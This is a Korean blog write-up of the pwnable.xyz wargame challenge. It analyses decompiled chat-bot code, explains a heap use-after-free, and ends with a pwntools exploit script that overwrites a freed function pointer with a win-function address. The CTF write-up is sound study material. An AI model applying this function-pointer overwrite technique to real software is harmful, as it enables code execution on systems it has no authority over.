1. 문제
1) mitigation 확인
PIE가 안걸려있다.
2) 문제 확인
먼가 화려하다.
3) 코드 확인
- do_chat() 함수
void __noreturn do_chat() { chat *chat; // [rsp+0h] [rbp-120h] char *ptr; // [rsp+8h] [rbp-118h] char s; // [rsp+10h] [rbp-110h] unsigned __int64 v3; // [rsp+118h] [rbp-8h] v3 = __readfsqword(0x28u); chat = 0LL; while ( 1 ) { memset(&s, 0, 0xFFuLL); printf("@you> "); read(0, &s, 0xFFuLL); ptr = strdup(&s); if ( !chat ) chat = invite_reznor(); ((void (__fastcall *)(chat *, char *))chat->answer)(chat, &s); free(ptr); } }
메인은 별게 없고, do_chat() 함수부터 시작된다. chat는 구조체로 보기 쉽게 선언해줬다. 처음에 chat 변수에 0을 집어넣고 반복문을 돈다. s 변수에 read함수로 입력을 받고, strdup 함수로 힙 영역에 복사를 한다.
그다음 chat 변수에 값이 없으면 invite_reznor() 함수를 호출하여 반환값을 chat에 넣는다. 그다음 chat→answer 함수를 호출한다. 인자는 chat과 s 변수이다. 그런다음 strdup() 으로 할당받았던 청크를 free하고 다시 반복하게 된다. 이번엔 invite_reznor() 함수를 살펴보자
- invite_reznor() 함수
chat *invite_reznor() { chat *v1; // [rsp+8h] [rbp-8h] v1 = (chat *)malloc(0x20uLL); v1->do_chat = strdup("@trent"); v1->answer = (void (__fastcall **)(chat *, char *))answer_me; puts("@trent has entered #ota_chat"); return v1; }
0x20사이즈 만큼 malloc을 하고 strdup() 함수로 "@trent" 문자열을 방금 할당 받은 힙영역의 do_chat 영역에 복사를 한다. 그다음 answer_me 함수포인터를 v1→answer 에 저장을 한다. 이 과정이 끝났을 때의 힙 영역을 살펴보면 다음과 같다
0x13d4020 주소가 v1 변수에 들어간다. 그리고 strdup() 함수로 복사한 문자열의 주소가 새로운 청크에 복사가 된다(0x13d4050). 그리고 그 청크의 mem 주소가 v1→do_chat 영역인 0x13d3030에 들어간다. 그리고 마지막으로 answer_me 함수포인터가 v1→answer 즉, 0x13d3038 에 들어가게 된다. answer_me 함수를 살펴보자
- answer_me() 함수
unsigned __int64 __fastcall answer_me(void **a1, const char *a2) { size_t size; // [rsp+1Ch] [rbp-24h] __int64 v4; // [rsp+28h] [rbp-18h] char *v5; // [rsp+30h] [rbp-10h] unsigned __int64 v6; // [rsp+38h] [rbp-8h] v6 = __readfsqword(0x28u); if ( !strcmp(a2, "/gift\n") && (LODWORD(size) = 0, puts("Oh you wanna bribe him?"), printf("Ok, how expensive will your gift be: "), __isoc99_scanf("%ud", &size), (_DWORD)size) ) { *(size_t *)((char *)&size + 4) = (size_t)malloc((unsigned int)(size + 1)); memset(*(void **)((char *)&size + 4), 0, (unsigned int)(size + 1)); printf("Enter your gift: "); read(0, *(void **)((char *)&size + 4), (unsigned int)size); v4 = hash_gift(*(size_t *)((char *)&size + 4), size); printf("Trent doesn't look impressed and swallows %p\n", v4); if ( v4 == 0xDEADBEEFLL ) { puts("The color of his head turns blue..."); puts("Trent Reznor flips the table and raqequits..."); puts("@trent has left #ota_chat (Client disconnected...)"); free(*a1); free(a1); } else { printf("Didn't seem to be tasty...\n", v4); } } else { v5 = (&answers)[rand() % 10]; printf("@trent> %s\n", v5); } return __readfsqword(0x28u) ^ v6; }
처음에 do_chat() 함수에서 입력한 값이 a2이다. 해당 값이 '/gift' 와 같다면 사이즈를 입력받는다. 그다음 해당 사이즈+1 만큼 크기의 malloc을 하고, 이를 size변수+4 위치에 저장한다. 그리고 이 영역에 read 함수로 입력을 받은뒤 hash_gift 함수를 호출한다.
hash_gift함수가 반환하는 값이 v4에 저장되고 이 값이 0xdeadbeef와 동일하다면 free가 진행된다. free는 총 2번 진행되는데, 아까 strdup으로 할당받았던 '@trent' 가 담긴 청크와 해당 청크의 주소를 가지고 있었던 v1 청크를 free 시킨다.
사진으로 봐보자. 1번을 먼저 free 한다. 그리고 2번을 free 하게 된다. 현 상황은 1번만 free되고 2번은 아직 free되지 않은 상황이다. 이렇게 한번의 루틴이 끝나게 된다. 그런다음 다시 do_chat에서 반복문을 돌면서 chat변수를 확인한다. 처음에 값이 들어갔으므로 0이 아닌 값이 들어가 있을 것이다. 따라서 invite_reznor() 함수는 호출되지 않고 answer 함수만 호출된다.
2. 접근방법
hash_gift() 함수 반환값을 0xdeadbeef로 맞춰줬다는 가정하에, 한번의 루틴을 다돌게 되면 현재 fastbin의 상황은 다음과 같다. strdup으로 선언해줬던 '@trent' , do_chat에서 입력한 s를 복사한 strdup이 free되었고, 이게 0x20 사이즈 bin에 들어가있다.
그리고 answer_me에서 free 시켰던, a1의 청크 즉, v1에 담겨져있던 청크가 0x30 bin 사이즈에 들어가 있다. 현재 0x30 사이즈 bin에 들어있는 청크의 +8 위치에 anser_me 함수포인터 주소가 들어가 있다. 하지만 free가 되어도 초기화가 안이뤄지기 때문에, UAF가 가능하다.
do_chat() 함수가 다시 반복을 돌게 되면, s에 입력한 문자열을 strdup으로 복사하여 0x20 사이즈 청크를 재할당받게 된다. 따라서 0x13d4000 청크를 재할당 받게 된다. 그런다음 chat에는 현재 값이 들어있으므로, invite_reznor() 함수가 호출되지 않고 answer_me 함수가 호출된다.
우리가 목표로 하는것은 answer_me 함수포인터가 담겨있는 부분은 win주소로 변경하는 것이다. 현재 chat 변수에는 우리가 아까 첫번째 반복문에서 free 시켰던 청크 주소가 그대로 들어가 있기 때문에, 3번째 반복에서 answer_me 함수를 호출할때 동일한 위치를 참조하여 호출할 것이다.
따라서 위 fastbin에 들어있는 청크주소를 재할당받고, 해당 청크 +8 영역에 win함수주소를 넣으면 3번째 반복에서도 chat에는 여전히 동일한 청크주소, 즉 우리가 두번째 반복에서 재할당 받았던 청크를 사용하게 되므로 win함수를 answer_me 함수포인터 위치에 덮어 쓸수가 있다.
3. 풀이
2번쨰 반복에서 0x20 사이즈 를 입력하면 0x30 사이즈 청크가 할당될것이고, 이는 아까 말한 chat 가 가리키는 청크를 재할당 받는다. 그 후에 gift 입력시 더미+8, win 주소 이렇게 입력하면 위 사진처럼 변경이 된다. 이제 3번째 반복에서 함수포인터 호출시 win함수가 호출될 것이다.
최종 익스코드는 다음과 같다
GNU nano 2.5.3 File: ex.py
from pwn import *
context(log_level="DEBUG")
#p=remote("svc.pwnable.xyz",30034)
p=process("./challenge")
gdb.attach(p,'code\nb *0xf52+$code\n')
p.sendlineafter("you> ","/gift")
low=p8(0xff)*0xdf+"\x8c"
log.info(hex(len(low)))
high=p8(0xff)*0xbd+"\xab"*4+"\x00"*0x1f
log.info(hex(len(high)))
payload=low+high
p.sendlineafter("gift be: ",str(len(payload)))
p.sendafter("gift: ",payload)
p.sendlineafter("you> ","/gift")
p.sendlineafter("gift be: ","32")
p.sendafter("gift: ","A"*8+p64(0x400CAE))
p.interactive()
4. 몰랐던 개념
몰랐던 개념은 없었지만, 코드가 복잡해서인지 분석이 너무 안됬다. 분석능력이 아직도 한참 부족한것 같다.
'워게임 > pwnable.xyz' 카테고리의 다른 글
[pwnable.xyz] words (0) | 2020.05.18 |
---|---|
[pwnable.xyz] notebook (0) | 2020.05.17 |
[pwnable.xyz] Dirty Turtle (0) | 2020.05.14 |
[pwnable.xyz] Hero Factory (0) | 2020.05.13 |
[pwnable.xyz] note v2 (0) | 2020.05.13 |